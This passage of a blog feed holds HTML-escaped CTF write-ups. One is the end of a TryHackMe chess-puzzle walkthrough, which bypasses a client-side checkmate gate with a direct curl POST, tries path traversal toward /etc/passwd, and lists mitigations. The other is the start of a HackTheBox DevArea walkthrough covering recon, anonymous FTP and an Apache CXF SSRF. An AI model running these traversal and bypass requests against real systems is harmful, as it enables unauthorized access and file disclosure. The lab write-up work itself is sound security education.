    &lt;span class="nf"&gt;showSystemNotice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;I'll shut down your PC if you play that.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;doMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;isLegalTarget&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;promotion&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;needsPromotion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;q&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;preMoveCheck&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;promotion&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;setElPos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;els&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="nf"&gt;toast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;SMUG&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;SMUG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)]);&lt;/span&gt;
  &lt;span class="nf"&gt;sendMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;promotion&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;sendMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;promotion&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;locked&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/move&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;promotion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;promotion&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;This is the whole game right here. &lt;code&gt;preMoveCheck()&lt;/code&gt; runs a local, throwaway copy of the chess engine (&lt;code&gt;probe&lt;/code&gt;) against the move the user is trying to make. If that probe results in checkmate, the front end just refuses to call &lt;code&gt;sendMove()&lt;/code&gt; and shows the fake "shut down your PC" popup instead. It never touches the server. The actual move submission happens over &lt;code&gt;fetch('/api/move', ...)&lt;/code&gt;, a plain POST with &lt;code&gt;from&lt;/code&gt;/&lt;code&gt;to&lt;/code&gt;/&lt;code&gt;promotion&lt;/code&gt; in JSON - nothing here that couldn't be replayed directly with &lt;code&gt;curl&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Confirming the library and a stray path traversal
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://machine-ip/../vendor/chess.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Excerpt from chess.js&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="cm"&gt;/**
 * @license
 * Copyright (c) 2025, Jeff Hlywa (jhlywa@gmail.com)
 * ...
 */&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;WHITE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;w&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;BLACK&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;b&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Chess&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;
  &lt;span class="nf"&gt;isCheckmate&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isCheck&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;amp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;amp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;_moves&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Requesting &lt;code&gt;/../vendor/chess.js&lt;/code&gt; against the static file server successfully returned the full, unminified &lt;code&gt;chess.js&lt;/code&gt; source from outside the intended web root - a relative-path traversal in how static assets are served. It didn't hand over anything sensitive on its own (just the open-source chess library also used in the front end), but it confirmed the exact validation logic being run client-side and that the static handler wasn't strictly confining requests to its public directory.&lt;/p&gt;

&lt;p&gt;I tried pushing the traversal further to grab actual system files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://machine-ip/../../etc/passwd
curl http://machine-ip/../../../../../etc/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output (both attempts)&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;



&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Error&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;


&lt;span class="nt"&gt;&amp;lt;pre&amp;gt;&lt;/span&gt;Cannot GET /etc/passwd&lt;span class="nt"&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Both attempts to reach &lt;code&gt;/etc/passwd&lt;/code&gt; were rejected - the traversal that reached &lt;code&gt;vendor/&lt;/code&gt; was likely a one-off consequence of the static root's structure rather than a fully open path traversal, and it didn't extend to arbitrary filesystem reads.&lt;/p&gt;




&lt;h2&gt;
  
  
  Exploitation - bypassing the client-side checkmate gate
&lt;/h2&gt;

&lt;p&gt;Since &lt;code&gt;preMoveCheck()&lt;/code&gt; is purely cosmetic and &lt;code&gt;/api/move&lt;/code&gt; is a plain unauthenticated JSON endpoint, the fix was to just talk to the API directly and skip the browser (and its popup) entirely.&lt;/p&gt;

&lt;p&gt;Grabbed a session cookie first, since the app tracks board state server-side per session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt http://machine-ip/ &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then played the actual mate-in-one - rook from a1 to a8, delivering checkmate on the boxed-in king on g8:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://machine-ip/api/move &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"from":"a1","to":"a8"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"move"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"a1a8"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"fen"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"checkmate"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"turn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"b"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"winner"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"white"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"flag"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"[REDACTED]"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;The server validated the move independently (using the same &lt;code&gt;chess.js&lt;/code&gt; library server-side), recognized checkmate, and returned the flag directly in the JSON response - no browser, no popup, no client-side gate involved at all.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key vulnerabilities
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Client-side-only enforcement of a security/game-logic boundary.&lt;/strong&gt; The one thing the app was supposed to prevent - actually playing the winning move - was checked exclusively in front-end JavaScript (&lt;code&gt;preMoveCheck&lt;/code&gt;). The backend &lt;code&gt;/api/move&lt;/code&gt; endpoint accepted and executed the exact same move without re-checking whether it was "allowed" to be played, so the restriction was trivial to bypass by talking to the API directly.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Minor path traversal in static file serving.&lt;/strong&gt; A request for &lt;code&gt;/../vendor/chess.js&lt;/code&gt; escaped the intended public directory and returned source code that wasn't meant to be directly reachable. This didn't extend to full filesystem reads in testing, but it's still an information-disclosure weakness in how static assets are routed.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Attack chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Nmap identifies an Express/Node web app on port 80 alongside SSH.&lt;/li&gt;
&lt;li&gt;The web page presents a mate-in-one chess puzzle with a gimmick blocking the winning move via a fake pop-up.&lt;/li&gt;
&lt;li&gt;Reading &lt;code&gt;/js/app.js&lt;/code&gt; reveals the block is done with a client-side probe (&lt;code&gt;preMoveCheck&lt;/code&gt;) and that real moves are sent to &lt;code&gt;/api/move&lt;/code&gt; over a simple JSON POST.&lt;/li&gt;
&lt;li&gt;A relative path request (&lt;code&gt;/../vendor/chess.js&lt;/code&gt;) confirms the chess engine in use and that the static file handler doesn't fully confine paths to its root.&lt;/li&gt;
&lt;li&gt;Grabbing a session cookie and POSTing the winning move (&lt;code&gt;a1&lt;/code&gt; to &lt;code&gt;a8&lt;/code&gt;) directly to &lt;code&gt;/api/move&lt;/code&gt; bypasses the client-side gate entirely; the server validates it as checkmate and returns the flag.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Enforce all game/business logic rules server-side. Client-side checks should only be used for UX (instant feedback), never as the actual security or logic boundary - the server must independently re-validate every move (or any privileged action) regardless of what the UI attempted to prevent.&lt;/li&gt;
&lt;li&gt;Treat any client-supplied move/action as untrusted input; the server-side &lt;code&gt;chess.js&lt;/code&gt; instance should be the sole source of truth for whether a move is legal, and any application-specific restriction (like "don't allow the win") needs to live in that same trusted layer.&lt;/li&gt;
&lt;li&gt;Lock down static file serving so relative paths (&lt;code&gt;../&lt;/code&gt;) can't escape the configured public directory; use a static file middleware configuration that resolves and validates paths against an allow-listed root rather than relying on default traversal protections.&lt;/li&gt;
&lt;li&gt;Avoid shipping unnecessary source/library files in a location reachable by directory traversal in the first place - keep vendor/build directories outside of anything the web server can serve.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>HackTheBox: DevArea — Full Walkthrough</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Sun, 19 Jul 2026 15:52:55 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-devarea-full-walkthrough-2cmc</link>
      <guid>https://dev.to/exploitnotes/hackthebox-devarea-full-walkthrough-2cmc</guid>
      <description>&lt;p&gt;A complete walkthrough of HackTheBox DevArea — chaining an Apache CXF SSRF vulnerability, Hoverfly middleware injection, Flask session forgery, command injection, and a double symlink privilege escalation to achieve full root compromise.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Hard | &lt;strong&gt;OS:&lt;/strong&gt; Linux | &lt;strong&gt;Platform:&lt;/strong&gt; Hack The Box&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attack Path:&lt;/strong&gt; Anonymous FTP → JAR Analysis → CVE-2022-46364 (Apache CXF SSRF) → Hoverfly Credentials → CVE-2025-54123 (Hoverfly RCE) → Shell as dev_ryan → Secret Key Leak → Session Forgery → Command Injection → Double Symlink → Root&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key Findings:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Port 21: vsftpd (Anonymous login enabled)&lt;/li&gt;
&lt;li&gt;Port 22: SSH&lt;/li&gt;
&lt;li&gt;Port 80: Apache HTTP&lt;/li&gt;
&lt;li&gt;Port 8080: Java/Jetty (SOAP service — Apache CXF)&lt;/li&gt;
&lt;li&gt;Port 8500/8888: Hoverfly proxy
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;MACHINE-IP&amp;gt; devarea.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  2. Anonymous FTP — Downloading the JAR
&lt;/h2&gt;

&lt;p&gt;Port 21 has anonymous FTP login enabled:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp devarea.htb
&lt;span class="c"&gt;# Username: anonymous&lt;/span&gt;
&lt;span class="c"&gt;# Password: (blank)&lt;/span&gt;

ftp&amp;gt; &lt;span class="nb"&gt;cd &lt;/span&gt;pub
ftp&amp;gt; &lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="c"&gt;# employee-service.jar&lt;/span&gt;
ftp&amp;gt; get employee-service.jar
ftp&amp;gt; bye
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. JAR Analysis — Discovering the SOAP Endpoint
&lt;/h2&gt;

&lt;p&gt;Decompile the JAR using jadx-gui:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;jadx-gui employee-service.jar
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Navigate to &lt;code&gt;htb.devarea → ServerStarter&lt;/code&gt;. The decompiled code reveals:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;JaxWsServerFactoryBean&lt;/span&gt; &lt;span class="n"&gt;factory&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;JaxWsServerFactoryBean&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;factory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setServiceClass&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;EmployeeService&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;factory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setServiceBean&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;EmployeeServiceImpl&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;factory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setAddress&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"http://0.0.0.0:8080/employeeservice"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;factory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;create&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Employee Service running at http://localhost:8080/employeeservice"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"WSDL available at http://localhost:8080/employeeservice?wsdl"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This reveals:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The service runs on port 8080&lt;/li&gt;
&lt;li&gt;It uses &lt;strong&gt;Apache CXF&lt;/strong&gt; (&lt;code&gt;org.apache.cxf.jaxws&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;WSDL available at &lt;code&gt;/employeeservice?wsdl&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Fetch the WSDL to enumerate endpoints:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://devarea.htb:8080/employeeservice?wsdl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The service exposes one operation — &lt;code&gt;submitReport&lt;/code&gt; — accepting:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;employeeName&lt;/code&gt; (string)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;department&lt;/code&gt; (string)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;content&lt;/code&gt; (string)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;confidential&lt;/code&gt; (boolean)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  4. CVE-2022-46364 — Apache CXF MTOM SSRF
&lt;/h2&gt;

&lt;p&gt;From the JAR import &lt;code&gt;org.apache.cxf.jaxws.JaxWsServerFactoryBean&lt;/code&gt; we confirmed the service runs on &lt;strong&gt;Apache CXF&lt;/strong&gt; — vulnerable to CVE-2022-46364.&lt;/p&gt;

&lt;p&gt;The import at the top of &lt;code&gt;ServerStarter.java&lt;/code&gt; was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
